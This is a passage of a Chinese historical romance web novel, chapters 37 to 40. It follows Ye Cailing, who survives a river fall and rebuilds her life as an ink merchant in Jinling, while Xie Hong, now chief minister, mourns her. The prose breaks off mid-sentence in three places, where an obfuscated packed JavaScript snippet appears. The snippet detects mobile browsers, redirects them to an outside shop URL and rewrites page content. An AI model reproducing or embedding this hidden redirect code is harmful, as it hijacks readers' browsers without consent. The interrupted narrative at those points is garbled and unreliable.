“小哥，你且听着。”她道：“并不是我们害死了他，而是……” 少年挥起了手戟。眼神就像在审视着牧场上待屠宰的羊羔。 “……大周人果然没有一个好东西。” * 回京的路上，温道盈有些倦意地倚在马车的软榻上。 身边传来马蹄声，是此前跟随着她的侍卫长。侍卫长铁甲相碰铮然，问道：“温女官，末将已经肃清今日反贼势力。可否回京？” 温道盈点点头。 侍卫长又补上一句：“此前援护的那两位姑娘可是京中人士？末将见她们并未跟上车马。” 温道盈并没有接话。 又想起那人仿佛淬上冰水的眼神。他心心念念的不还是叶采苓么。 但无妨——已有太后懿旨。 她与他，本就该成婚。 37. 第 37 章 温道盈靠在软榻上，无谓地笑笑。 并不是什么大事。 婚事定下后，的确有人相问。更有些不甘心的贵女特意寻她追问细节，言语间掩不住的妒忌。 她只道我与谢泓情投意合，若不信，太后娘娘是见证者。 宫中对外所宣，是言瑞鹤宴上女眷颇多，她不过是饮酒后乏力，在园中歇息。却恰遇到谢学士。 两人情之所至，谈天说地。 引为知己。 恰遇太后赏花，遇到两人，便赞叹郎才女貌，合该成就一段姻缘。 温道盈手指轻抚过脸颊，又想到那日园中谢泓的眼神。 是她从来没想到过的寒凉。 她是设计了他，没错。但懿旨已下。 他谢泓还能抗旨不成。 于此同时，沧蒙江上。 黑暗仿佛有了形体，在江水深处凝结成奔涌的鱼群。 水波翻涌之时，便成群结队露出嶙峋的鳞片与黑幽的眼。 叶采苓深吸一口气。 夜晚的江面令她恐惧。云州多山溪，因此当地人并不擅长游泳，她自云州长大，亦是如此。 但此刻面前步步紧逼的枢兰少年，却由不得她去想其他的逃生方案。 侍女静霜已经无法思考了。面对明晃晃的刀尖，很少有人能从容地应对。 她从未见过如此场面，生死关头，忽地大哭起来。 叶采苓安慰似的捏了捏她的手，她扯住静霜衣袖，示意她向外看。 目光移向水面。 远方的江面中心隐隐有粲然微光，是幽深江水表面之上浮动的灯火。 澄黄的光芒，是船上用来照明的光。——有民船即将经过。 能赌一把么？ 若留在船上，只有死路。 少年似是烦躁了，不再用那一口生硬的大周官话与她们多言。 他攥紧了手戟，双臂肌肉绷紧，眼神里满是狠厉。 空中一道刃光闪过。 叶采苓望一眼那陌生少年，用力一扯静霜衣袖。在尚未被利刃伤到之前，纵身跃入江水。 寒冷混浊之间，她仿佛听见有人在唤她的名字。头脑一瞬间清醒，又被更大的浪涛打压下去。 意识逐渐被抽离身体的那一刻之前，她最后想到的，却还是那个背影。 那是云州，一切尚未开始的时候。 男子背着手，望着她轻轻笑。 她珍而重之地握住他赠的墨锭。溪明阁的好墨，雕镂着极精细的山水花鸟。 但故事终将启页。 生死有命数。 叶采苓感到前所未有的疲惫。 她想自己可能还是不够灵醒，虽然那人总是毫不吝啬他的夸赞，可她仍然看不懂朝堂之上的诡谲人心。 云州、京中、漠北。这棋局远不止方寸之间，但她实在是倦了。 江水冰冷，前尘俱灭。 * 大周二十一年。 沧蒙江边停一艘客船。很平常的形制，但若有渔民或行客想凑过去看看，却会被衣着考究的护卫礼貌地劝离。 “嗳，这些人是哪里来的？” 林五儿挠挠头。他本想去推销自己家晒的干鱼，却连那船都没靠近。 “据说是京中贵人。”林阿婆在这江边呆得久了，此刻不紧不慢地摇摇头：“五儿你见得少，这船每年会来一次的，但一向安静，哎，小九？小九你莫去——” 林小九一晃头上短短的小辫，已经拎着桶笑嘻嘻地奔过去了。 她只来得及听到前半句。 京中贵客？那岂不是刚好来买她的鲜鱼？ 几位侍卫隐在暗处，时刻关注着那客船的情况。却见一个渔民小女孩欢快地跑过去了。 似乎并不是冲着船来的？不必多虑。 侍卫们一晃神的工夫，林小九已经冲到了船跟前。 她眨眨眼睛。 好漂亮的船。外面看着平平无奇，船里面却熏着好闻的香气，还有很多她从来没见过的陈设。半新不旧，看着却都十分雅致。 传说中的贵客着一身月白绸衫，正负手立在船头，身旁一注香尚未燃尽。 贵客转身看她。 月光照他眉眼，清正卓立，就好像此刻天地间月色都不及他。 那是松间明月一样的人物，好像话本里的人。林小九呆住，却忽地想到自己此行的目的，举起木桶望着贵人嘿嘿一笑。 “大哥，新鲜的江鱼要么？我这还有新烘的松枝，松烟是烧鱼的好料子。” “属下来迟——” 一阵鞋底与船板接触的咚咚声。她身后冲进两个黑衣人，声音惶恐，立即伸手要拉林小九出去。 贵人忽地摆摆手。好似想起什么来，声音温缓。 “松枝可不是这么用的，若用对法子，制出来的松烟墨，当是极好。” “松烟墨？那是何物？”林小九挠挠头：“我们船家用松枝烧火最好了。这松枝还是我特意去山里打的，江边上可没有。” 贵人却并没有答话，眼神有些微的偏离，望着江水。 他人在这里，却好像又从此地抽离开来。 是在想谁么。 “公子，属下已经备妥了。”有一名随从过来，行礼后对贵人低声道。那人与随从耳语了几句。 林小九便见那随从递了一块银锭过来，示意她随他离开。 “这银子买你的鱼，且收好。” 林小九吃惊地掂了掂银子的份量，正嘀咕着如何找钱，对方却不在意地摇摇头，回到船上了。 石青回来的时候，见谢泓立在船头，只静静地看着波澜不兴的江面。 这是个冬夜，很适合回忆故人。 江之头会有她么？ “我见还有一炷香的时间，再等片刻罢。”谢泓道。 却听到岸边传来喧哗。几乘官轿正以快得不正常的速度向江边赶。 四抬的轿子，用了飞禽纹的布料。 是地方官吏？谢泓微微蹙眉。 果然，来的人容貌陌生，一下官轿，紧走了几步纳头便拜。 再抬起首时，声音里已经含上了恰到好处的关切与惶恐。 “首辅大人星夜前来渡口，卑职乃沧蒙江渡口司掌津吏。得知消息时已经晚了，实是照顾不周，还望首辅大人见谅啊。” 石青在一旁，心里无声叹息。 这位津吏实在是太心急。 谢首辅每年都会在固定的时日来沧蒙江。 之所以并未传出去，因为知晓此事的人都乖觉，虽然不知道为何，却都懂不能触了首辅的逆鳞。 这位津吏大概是从哪里听了消息，便巴巴地赶来，以为这样能讨得些许欢心。实则大抵会适得其反。 果然，谢泓连半分笑都没挂上脸。 在那冷淡的一眼里，津吏慌忙再次下跪。 这次是真心实意的。 他实在是弄不明白，本来应该是讨巧的事，他身后的车马里还备上了许多礼品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546106|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 怎么首辅大人会如此不满。 谢泓的脸上已经把不虞展现的明明白白。 “我此行是为私事。你又是如何知悉？” 石青在一旁无声地用口型示意：还不快下去。 津吏惶恐之下立即喏喏退下。 等人终于走了，谢泓方才叹了口气。 冷冽眼神逐渐敛去。 他望着江水，有几分不易察觉的哀意。 身边木桶里的活鱼挤挤挨挨地翻腾着，他扬手叫石青。 “放了罢。” 鱼一离开水桶，迫不及待地没入了水中，一晃眼的工夫鱼尾拍打着都消失不见了。 谢泓怔怔地看着。 “江水还很寒凉。”他道。 她在这样的江水里，会很冷吧。 “公子，时辰到了。”石青道。 谢泓收手回身，立在船头。 今夜无星，月光落在江心，又被水花搅动成零散的碎片。 天际卷来的风吹动他衣摆。 他想叹息，却不知为何，哽在了喉咙里。 “……回京吧。” 待船靠岸，藤黄带着一副讨喜的神色颠颠地过来，跟在石青身后。 “主子回来啦？” 一边关切，一边乖觉地递上热茶。 茶盏袅袅地冒着热气，难为他此前捧在手里这么久。 “这么烫的茶，你拿在手里作甚？”竹明接过，准备奉给谢泓。 却见谢泓目不斜视地走过去了，径直上轿落座。竹明一愣。 石青一向敏锐，此刻微微皱起眉头。 藤黄是近期新来的，主子自拔擢首辅之后，府内迎来送往更加频繁，又选了一个随从提拔上来。 见他年纪轻，行事又伶俐。不知为何主子今日…… 但因为是这个日子。却又显得合理了些。 藤黄又凑到官轿前，语气轻而快：“主子，已和官驿商量好了——” 话音的尾句断在冬夜的寒风里。 轿帘掀开，露出男子一双清寒的眼。 谢泓很少对贴身的长随露出这种上位者的姿态，但此刻他居高临下望着藤黄，咬字很轻，说出来的话却让藤黄当即惶恐地跪下。 “今天是什么日子？” “是主子来沧蒙江散心……”藤黄还要答，迎上谢泓的表情，却不敢再说。 谢泓摇摇头。 “你以后不必再跟着了。” 石青带着几分怜悯看着藤黄。 藤黄到底还是资历少了。主子这个日子心情从来算不上好，他却偏在这个时候搬弄是非，妄加揣测上意。 那津吏如何知道首辅现身的消息？ 只有是藤黄这里走露的风声。 其实说起来，主子前些年还没有如此狠厉。 只是那位不见踪影之后，行事风格却越发变了，却做下一个个不留情面的决定。 朝中皆知，谢首辅，行事让人如沐春风，却在不动声色里杀伐果决。 石青长叹一声，不再看跪在地上的藤黄，快步跟上谢泓。 * 江南春日，花明酒浓。 在这闹市街头，却有一处商肆，望着门脸装修得极其雅致，却总是见不到开门的时日。 又有人传闻东家是位贵人，不便露面，只每月偶尔开门营业。 卖的墨锭却是当地最出名的。 但凡放出“今日有墨”的牌子，便有许多客人大排长龙。 38. 第 38 章 “夫人留心脚下。” 女子带着温软的笑意，直将贵客送到店门前。那位夫人矜持地一点头，客气道：“你们家的墨好。” 女子笑着摇摇头。 “小店营生顺遂，都是仰仗夫人爱重。” 说着亲自送她上了马车。 回转过身，轻轻舒了口气。 院外有人声，小厮通传有客至。 她抬头，见到熟悉的衣角。 宁金鹤一扬袍袖，大步走进门来，将一张地契展示在她眼前，语气熟稔。 “叶姑娘。此前金陵的旧铺子，我是已经盘下来了。” 叶采苓望着宁金鹤，露出一个笑。 “这处铺子已经经营得有声有色，宁兄又要扩张，看来野心远不止于此啊。” “经商之道，本就如同战场，攻城略地方是正途。”宁金鹤随手倒了一杯茶水，饮了一口，仪态依旧儒雅。 “况且有叶姑娘做援手。实乃我宁某之幸。” “我本是想找点事情做的，未承想宁兄交予重任，不得不从啊。”叶采苓道。 故人相见，两人寒暄几句。宁金鹤望着手里那莹白茶盏，犹豫着把玩了许久，还是开口。 他听到自己有几分迟疑的声音。 “叶姑娘。那位故人的近况，你可知晓么？其实他近几日……” “宁兄。”随之而来的是叶采苓果决的打断。 她黑白分明的眼望着宁金鹤，里面盛着复杂的情绪，却只留下斩钉截铁的拒绝。 “——我并不想知悉。” 宁金鹤从善如流地点头道好。 走出这处极其雅致的售墨铺子，他仰头望了望天空。 江南澄碧天色下，他露出一丝苦笑。 他其实有些难做。 先前家弟离奇的死亡，当时便已经查证出来，背后牵连了朝中与枢兰的各方势力。 也正因这些事情盘根错节，最终捉出真凶的时候，谢泓出了颇大的力。 枢兰在大周苦心经营的人马被连根拔起，牵连的官员竟然有数十位之多。 那几日朝堂中人人自危，谁都不知道看着温润的谢次辅，怎么会不动声色地掌握了那么多证据。 个中细节他宁金鹤身居朝野，并不知晓。 却也知道那几日的风暴之后，权力重新洗牌。 最终站在首辅位置的，成了谢泓。 大周朝最年轻的探花，现下是最年轻的首辅了。 但谢泓与他的往来不曾因此疏远，逢着年节他去拜会，对方还是依旧温润可亲。 只是每次等他临行前，都会嘱托他一句，让他留意着江南这一带，有无像叶采苓的女子。 “她若幸存，或许已经忘却前尘，或者被风寒伤了本元。”谢泓认真道：“但我相信以她的心性与资质，在何处都会出头。” “或许在意料之外的地方，便会忽然遇到她，到时候烦请宁兄告知。” 谢泓郑重地长揖。 宁金鹤连连点头。 心里嘀咕着若是旁的人，以为叶采苓不在人世的，肯定会觉得谢泓痴情到有些愚。 但他却因为谢泓的敏锐而心惊——因得叶采苓的确幸存，商业还做的风生水起。 一间快要倒闭的铺子，被她先整修门面，之后又改定货品。一步一步，已经成为当地首屈一指的墨肆。 他如此知晓，则是因为，去岁冬日江中，救起叶采苓的正是宁氏家族的运输船。 虽然不是他亲自督船，但掌船的宁氏小辈也是家中旁系，遇到事情还是会立即上报。 他得到小辈报上的消息，船上救了一位气度不凡的女子，所佩玉环上刻着姓氏为叶。 他心下觉得有些不对劲，便第一时间过去照拂。 发现果然是故人。 适逢叶采苓在船上睁开眼，她才从晕眩中醒来，吃什么东西都觉得难受。 见到宁金鹤，十分喜悦，苍白脸颊上露出一个真心实意的笑。 却在宁金鹤准备联系京中的时候，勉力伸出手，轻轻地摆了摆。 “宁兄……多谢你一力援护。但我唯有一个不情之请，还请宁兄万万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547409|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要拒绝。” “采苓独身来京，本就无牵无挂。宁兄千万不要联系京中任何一人。只当我不曾出现过。” 她道。 这要求实在有些古怪。 宁金鹤犹豫了许久，还是点点头。她曾与家弟宁玉楼有过一段很好的相处时日，家弟已殁，那段情谊却还在。 他不想让她再失望。 于是旧岁一过，叶采苓便来了江南这处墨铺。 这是宁金鹤帮她安排好的。 原来的铺子因为经营不善转让，宁金鹤的本意是让她在此处养病，顺便有些闲事打发时间。并不指望她能做出什么成绩。 却见这铺子以难以想象的速度，不出三月便在当地有了名气。 叶采苓甚至很快与几位当地的命妇有了交情，已经在此处站稳了脚跟。宁金鹤甚至都考虑送几位族中的学童过来，让她们跟着学学经商之道。 他自从入京失败，被给了下马威之后，便有意吸取教训，多扩展商路。 现下有了叶采苓的助力，便也觉得制墨行业大有可为。见叶采苓对金陵并无排斥之意，两人便商议着不如去京城。 叶采苓深思着。 此前那位离去的命妇与她已经私交不错。听到她要去金陵经营分店，语气诚恳，只道她娘家在金陵。 “金陵此地，适宜经商没错。但各行各业，要想入局却没有那么容易。” 她与叶采苓娓娓道来。 叶采苓仔细听过，心头也不免有了几分盘算。 商场上厮杀是见血的，她早在那日京中与谢泓同游画舫之时，便早已明晰。 她轻轻一笑。 又不是进京，没什么好忧愁的。 其实在她自己都没有发现的时候，其实骨子里已经越来越像那个人。那个人曾说不要给自己设限，说若是她放手去做，最后所得的会比她此前想要的更多。 但这种改变…… 她有些恼怒地摇摇头，果决地将回忆再次压回深处。 前尘俱往矣。 她与他，只剩下陌路。 39. 第 39 章 金陵是一处好地方。 入夜了，夜风穿过庭院的精巧园林，叶与叶碰撞的声音像细碎的沙。院内一棵桃树，淡色的花瓣渐次飘零，落到院中的水池上。 这里选址极好，闹中取静。院外再行几步路，便是一处在极好地段的墨铺。 此刻，院门被两个守门小童默契地悄无声息拉开。 一名女子着黛青浣花锦大袖衫，配一袭色调沉些的石蓝百迭裙，颈边斜斜地坠着侧螺髻，露出颈项。 她把手轻轻搭在侍女伸出来的手臂上，那皓腕间便有一抹阳绿闪出。 一只水头极好的翡翠，形制是美人条。 在侍女小心的照拂下，女子缓步走了进来。院门关上，隔绝了外面好奇窥探的眼。 直到进了院落，侍女方才露出笑颜道。 “小姐，金陵行会好大的气派。” “这几日行事真是顺当，铺子盘下来之后，商会也直接邀我们加入了。” 她望着主子，眼睛里满是喜悦：“据说这金陵城的商会，手眼通天呢。咱们这次能进会，日后经商不就就容易许多了？” 叶采苓坐在小桌前，她慢条斯理地端起桌上的天青瓷盅，移开盖子看了。 盅里丝丝缕缕，是燕盏。 她只笑着拿调羹舀起一勺燕盏，却不再接话。 金陵经商，人事的错综复杂，实则比静霜所看到的要更加难以捋明白。 她涉足的制墨行业，实则在金陵已经有了极其深厚的根基。 旁的不提，靠花鸟墨打出名气的溪明阁，便是从金陵起家的。 罢了。 轻轻吹散粥上的热气，她感觉胃里暖和了些。 这是自去年落入江水后落下的毛病，一旦遇到陌生的人与事，她面上不显，身体却先会抗议，胃会先疼痛起来。 现下开始好转。 回想起今日在行会的所见所闻，她思索着。 初来乍到，行会众人对她的态度带着客气与礼貌。这倒是再正常不过。对方不知道她的底细，最好的方式便是先保留一个观望的态度。 分会长徐山行年纪不小了，头发花白，看着很温吞慈祥。她唤一声徐会长，对方笑着应下了，说还有一位正会长姓吴，有些事务，无法前来。 叶采苓颔首表示明白。徐山行又不动声色地盘问她的来路。 叶采苓只道自己叫林彩，家中在姑苏从商的。新丧了夫君，家里见她终日以泪洗面，便把这铺子交给她经营。 这是她来之前便与宁金鹤商量好的话术。 她要替宁氏打开销路，便不能像之前一样，做隐藏在商铺背后的话事人。而新寡的身份，则能完美地堵住悠悠众口。 铺子这么大，当然是夫家给的。而女子抛头露面，因为她是新寡，好像也解释得通。 实则因为这里的风气还是保守一些，民众对未嫁的女子在外经商，还是有些抵触。 故这是最好的选择。 叶采苓起初有些犹豫，但衡量之后，发现这样的身份是最有利的，便也欣然接受了。 于是新寡的“林彩”，便开始独立经营她这一间铺子。对外她道夫家不愿透露身份，故对方唤她一声林夫人便可。 未过多久，众人便发现他们这位新进的人，实则头脑十分敏锐。 丧夫之后终日哭哭啼啼？笑话，林夫人哪里是这样的人。 在对方小贩拉着她作势要给她下跪的时候，她立即不动声色地避到一旁。铺子经营的时候，则是剑走偏锋，走高质路线，靠着独家的墨锭笼络了许多回头客。 只是她却发现，自己纵然行事都挑不出错处，行会的众人待他，却依然是那种客气的疏远。 * 那日她在院落里闲坐。冷不丁听到静霜唤。 “夫人！铺子来了数个男子，看着凶煞的紧，说是要找主事的人说话。” 在外，静霜一律唤她林夫人。此刻她因为匆匆地奔跑来小院，发髻跑的也有些散。 “无妨，我且来了。” 叶采苓安抚她，自己缓步去了铺子里。 铺子里见到的都是些生面孔，看衣着，倒是和前几日来收费的人有些相似。 “此前的行会摊派费，已经交给你们了。”她冷静道。这是经商时必须要缴纳的一费用，倒也并没有什么可掰扯的。 男子却道：“你交的是何日的？大周二十年的，怎么没有交哪？” “大周二十年我们尚未来此地，自然没有缴纳。” “那这大周十五、十六……自然都没交咯？”男子装模作样地翻了翻手里卷曲的纸册，叶采苓清楚地看见上面并没写几个字。 来找茬的。 她心里很清楚。 只是此前加入金陵行会的时候，也已经承诺过了不会有人过来。 “黄册上记得明白，自我们入会，便一贯交着的。若是你们说没交，需要向我们证明。不如我现在联络何会长，看看他是否知晓此事。” 叶采苓知道对这些人不能过于软弱，此刻讲话语气不软不硬。又抬出何会长。 “呦？那这可是拜错码头了。这摊派费管着的人，可不姓徐——” 不姓徐？叶采苓心下雪亮。 她当下便唤静霜倒茶，又遣小厮塞给那两个找茬者银钱，最后两人终于走了。 走之前那瘦些的人还掀起嘴唇笑了一下，道明日他还来，让林夫人备好茶水。 叶采苓怎么会给他们这个机会，当下闭了店转头就去寻那位神龙见首不见尾的正会长，吴白羽。 吴家宅邸。 吴白羽是典型的生意人，比徐分会长更甚。 明明此前那两个小喽啰，已经将吴家的恶意明晃晃摆在台面上。他见到来访的叶采苓时，却笑得分外真诚。 “原是林夫人，什么风把您给吹来了。” “能来吴会长这里，自然是好大一阵发财的风啊。”叶采苓也爽朗一笑，见什么人说什么话，不外乎此。 吴白羽稍微正色看了一眼面前的女子。 此前他一直避而不见，心里实在是因为有几分瞧不上她。 一个哭哭啼啼的寡妇，连夫家是谁都不说，却能混进商会，安安稳稳地做些制墨生意。 他本就不同意。 是徐会长收了钱手短，不得不一力主张让她进来。后来见吴白羽反对的干脆，也甩手不管。 反正他保这林夫人已经仁至义尽。再之后，便不归他管了。 如今初次见面，见对方出人意料的气度，讲话也进退得宜，却也收敛了几分轻视。 言语之间只道，他会让手底下的人重新彻查。 “对了。” “过几日行会要重新评定。林夫人，你的墨铺目前经营状况，在我们行会里还是不够的。若是售量不达标，可能就要退出商会了。” 叶采苓仔细揣摩了一番这话。 “吴会长，这不对吧。”她眼神沉静：“此前说的几家墨局，我也知晓。他们卖得好，因为多和府学合作，学童和举子们课业所用的墨，的确比我这铺子的墨用量大多了。” “但我这墨，用了大分量的松烟和山珀，单成本就要高出不少，只是，回头客也是一等一的。” 吴白羽笑得粲然，讲话却寸步不让，依旧只咬着售墨的货量说事。 见吴白羽并不给她谈判的机会，叶采苓并不恼，听他讲完后，也是从容地转身告退。 走到吴府院外，她示意静霜掀开轿帘。 静霜脸上却已经有些控制不住的恼意：“这人怎么和傻的一样，只抓着数字来数。一两银子十块墨，和十两银子一块墨，是能放一起比的么？” 叶采苓拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579728|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍她的手臂。 “自然不能一概而论。只是这行会，本就是来调解贸易争纷的。这调解来去，最后的目的，却无外乎只有那一条——” 静霜眨眨眼。 “护商者之利。”叶采苓道。“人为财死，我们骤然入局，只会是因为动了他们中某些人的利益。” 事情一旦处在平衡的位置，稍有变动，变得可能就是整盘棋局。 行会的日常工作，是制定行业标准，防止恶性挤兑。也兼着调整行会内部矛盾，以及行会与顾客之间的矛盾的责任。 这第一条，便能看出来，金陵行会在商界的话语权，要比想象的大。 她参与好几次商会的日常会议，每次都有人刻意提她夫家，就是想看看她到底有怎样的背景。 家底是永恒的话题。但她有意独自行动，也不愿拿宁家做托词。便不怎么搭话。 见这种情况，许多人以为她失势，已经表现出轻慢的态度了。 吴白羽显然是不乐意见到她进入金陵商会的。 不过，在这种复杂的环境下，这些商人自然不会像表面上那样团结。 此刻，还有一位徐山行徐会长，可以寻求帮助。她犹豫了许久，却是设宴再次邀请了徐山行。 私宴上，徐山行的态度缓和了许多，在她不断的旁敲侧击之下，给出了一个消息。 “墨心阁此前有过一批墨，当时制造的时候颜色寡淡了些，书院不乐意收。现在还在书院里放着，也尚未结款。” “若是你想试着在销量上做文章，可以试试这一批墨。我想墨心阁也乐意低价转给你们。” 叶采苓点点头。 “此事，我已经知晓，回去需再思索思索。”她心里轻笑，怎么会看不出来徐会长这次谈话，明里给她出主意，实际话里话外都是让她接受那批积压墨的意思。 若真有这么好，怎么会积压，又怎么会卖给她呢？ 叶采苓温婉地笑着。 见她并没有接话茬的意思，徐山行有些急。 “况且你新来，对此处的经商规矩还是不甚知晓。大家同处商海，都在谋利求生。只是你有些时候还是要收敛些，自己行事便是最好，不要连带着他人受牵连。” 这话已经很明确了。 “听您这一席话，我还有很长的路要走啊。”她笑道：“我孤身一人在外，有思虑不周的地方，还是要靠徐会长您多提点着。” “您的提议对林彩确实是雪中送炭，容我回去再思虑片刻。” 话说到这份上了。徐山行也知道自己刚才有些失态，讲话太过于直白。此刻也收敛神色，笑着点头。 * “林夫人，铺子里这是又进了新货么？” 铺子里的学徒见到好几车墨锭被拉来，立刻前去接。却在接到的那一刻，感觉手中的墨锭有些不对劲。 手感也太轻了些，颜色也不够沉凝。 叶采苓点点头。 进入一个圈子需要缴纳投名状。 此前她并没有一口应下接手墨锭的事情。是因为如果一开始直接应下，对方会惯性觉得她软弱可欺。 如今形势差不多摸透彻了，是该行动了。 接下这批墨后，她再去寻吴白羽，心里却是多了几分底气。 吴白羽继续笑面虎一样的叨叨了一阵，仍是围着销售的货量打转。见叶采苓只神情专注地望着他，偶尔点点头，便也停下。 “林夫人，可有什么想法？” 叶采苓单刀直入：“若是所销货量能达标，商会的评定便会通过，是么？” 吴白羽微微一笑：“自然，只是——” 叶采苓开口打断。 “如此便好。” 她起身，并没给吴白羽反应的机会。 “吴会长，到时候入会评定，还要劳你费心了。” 40. 第 40 章 只是，此时墨铺内。 叶采苓望着那摞起来直到铺顶横梁的墨锭，也不由得头疼了片刻。 “静霜，这墨锭共有多少？” 静霜翻着账本看了看。 “个、十、百……三百，啊不，三千锭！” 她本以为是三百锭，报出三千这个数字的时候声音有些抖。 叶采苓摇摇头：“我看这墨心阁当年，的确是颇有些自恃。” “三千墨锭，他们竟以为能一次售出，最后不还是无力回天，最后让我们接手。”她转头道：“小苏，这批墨，可有验过品质？” 学徒姑娘小苏立在一旁，此刻忙答话：“夫人，方才领回来，我尚未仔细查过墨性。但这批墨积压到现在，调和用的琼脂恐怕也已经失效了，我估摸着，墨性会有些受损。” “墨性受损的话，若是折价，大抵也能卖出一些……至少能抵掉我们盘下来这墨的成本。”静霜盘算道。 叶采苓摇摇头：“你可知这批墨，墨心阁出让之时用了多少银子。” 行商不宜多言，她手笼在袖筒，向店中的两人轻轻比了一个手势。 “这价格，也就比市面上的售价低了两成。” 两人面面相觑。 “怎么能如此？那我们就算想折价，是否也走不通了？”学徒小苏问。 “苏姑娘想的对。”叶采苓点点头。 当初两位行会会长，一个唱红脸，一个唱白脸。巧舌如簧地劝她接手这批墨，她接手之前也已经想到了最坏的可能。 果然，墨心阁听到她要接手，早早地便报出了一个不低的价格。现在这些墨，已是她谈到最低价，方才拿下的。 “若是做赠品呢？”静霜又提出想法。“行会此前说我们销货量不足，不如，直接把这批墨搭着我们铺子的货赠出去，这不就算上销量了。” 叶采苓不答，反而转身问学徒。 “小苏，你觉得如何。” 小苏算是铺子里的老手了，要比侍女静霜在售墨方面多些经验。 她顿了一下，道:“也是一个法子。但我们主售的宁明墨，来采买的往往都是各府里的人。这批墨的质量，恐怕即使做赠品，府里也未必瞧得上。” 她取了些清水，放在砚台之中解墨。 果然，这批墨心阁的墨锭，颜色偏浅淡，还容易晕染。 “不能做赠品。”叶采苓一锤定音。 “从商讲究的是经营口碑。这样行事，只会损害铺子的口碑，让对方拍手称快。” 小苏点头，将手里的墨锭擦干，用绿绵纸再包起来。这是她一贯的习惯，在东家这里做事要谨慎，虽然是一批有问题的墨锭，但也不能随意浪费掉。 “这绵纸，是你自己准备的么？”静霜好奇地问，“看着好看，你且让我细看下。” 方才她手里的绵纸上有着精细的缠枝柳丝，又因为绵纸本就是浅淡的绿色，望着搭配得宜。 小苏把绵纸递出来，叶采苓仔细看了看，笑道：“这纸除了触感不一样，样子倒是和京中的溪花笺一样呢。” “那是何物？这是我绣花的时候描的花样子，不想浪费了，故带来包墨。” “原是如此，确实很好看呢，小苏手巧的很。”静霜道。 她转头问叶采苓，“夫人，那我们现下该如何？” 却见叶采苓一张精致脸孔上，眼神专注，正一眨不眨地盯着那绵纸。 “小苏，你刚刚说这纸样子是绣花之时用的？那金陵当地，可曾有用溪花笺书写的习惯？” “夫人说的是彩色的纸笺么？”小苏摇摇头。“未曾见过。” 叶采苓思索着。 溪花笺，这里居然没有么。 京中溪花笺色调众多，粉青月白，浅樱藤紫，又兼着形制大小各不相同，许多墨阁都会顺带售纸，少不了溪花笺。 女子们时常买了写些闺阁闲天。 她眼睛一亮。 “夫人的意思是，从京中进些溪花笺做墨的赠品么？”静霜依旧没有放弃她赠品的想法。 叶采苓摇摇头。 “现下这么做，恐怕没法短时间打开销路，而且还可能会被商会那边诟病。说我们售的是纸笺而不是那批积压的墨锭。” “那我们该如何做？” 叶采苓伸手拈来一块墨心阁的墨，拿了一张纸笺包了。 又将墨锭放回原本的包装盒内。 她道：“这样，便看不清纸笺的颜色了。” “这样真的有用么？”学徒小苏疑惑地看向这包装好的墨锭。 叶采苓卖了个关子。 “若说是否有用的话，我这里倒是有个故事。” “前些年我曾在沧蒙江渡过江。江水湿冷，免不了有行人落入水中。” 叶采苓话锋一转：“一身湿淋淋后，他们在岸边想买条布巾擦擦头发。却发现售卖的布巾都十分昂贵，最少也要二十文。” “在此时，我却看到一个售卖热姜茶的摊子，上面写着‘买热姜茶，可免费用布巾’。” “购买布巾后，这个小摊也只需要清洗晾晒便妥当了。如此，这个摊子是江边生意最好的。” “若是买布巾赠姜茶，就算他卖保底的价格，人们也会觉得不值当。”静霜恍然道：“而买姜茶，免费使用布巾，不知道为何，就觉得十分划算呢。” 叶采苓点头。“正是。” “夫人的意思是，将这墨锭比作布巾？可若我们主售溪花笺，墨锭当做赠品，这不就与此前降价出售墨锭的法子相似了么？”小苏道：“进溪花笺需要成本，况且这批墨锭颜色浅淡，问题却依然没有解决。” 叶采苓望着她赞许地点点头。 “小苏是有心的。不过，你们放心，此事我已思虑过。” “行商，最后经营的还是人心。” “墨锭依旧是主售，溪花笺我们当做赠品。你们且看，销路会好的。” 叶采苓笃定道。 * “嗳，那软墨，你可买到了？” 初夏的风吹动半透的软薄纱绡，闺房之中，桌上的镜子映出几位少女的容颜。她们正聚拢在一处，叽叽喳喳地谈论着近日金陵城的时兴事。 被众人围在最中心的姚月，前几日便从闺中姐妹那里听说过，有家铺子在售墨。 说是新制的软墨，方子特意改过。要配着铺子里赠的纸笺一起用。 她本来不甚好奇的，因得各色的香果水粉都往往在初夏上市，她早早遣了家仆在一家胭脂铺子前蹲守着，只等他们家最新的香片来了，抢先买上。 “买是买了，只是真有那么漂亮？”姚月道：“为着这墨，我都没买到素记铺子的寸玉香片呢。” “等你拆了便知晓了——你买了几锭？” “一人只能买三锭，所幸这墨锭裁的也不甚大，三锭都在这里了。”姚月向桌上一指。 好友笑道：“你要不要现在拆了瞧瞧？” “弄得如此神秘。” 